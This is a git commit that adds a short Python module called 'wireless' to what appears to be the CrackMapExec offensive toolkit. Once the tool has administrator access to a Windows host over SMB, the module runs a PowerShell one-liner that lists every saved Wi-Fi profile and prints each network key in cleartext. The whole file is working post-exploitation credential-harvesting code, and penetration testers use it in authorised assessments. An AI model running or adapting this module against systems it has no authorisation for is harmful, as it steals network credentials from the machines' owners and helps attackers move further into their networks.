Add wireless module #305

main
mpgn 2020-04-29 11:03:52 -04:00
parent 78c5d9ebd9
commit b6a6e6a9bf
1 changed files with 18 additions and 0 deletions

18
cme/modules/wireless.py Normal file
View File

@ -0,0 +1,18 @@
class CMEModule:
name = 'wireless'
description = "Get key of all wireless interfaces"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
'''
def on_admin_login(self, context, connection):
command = 'powershell.exe -c "(netsh wlan show profiles) | Select-String """"\:(.+)$"""" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}"'
context.log.info('Executing command')
p = connection.execute(command, True)
context.log.success(p)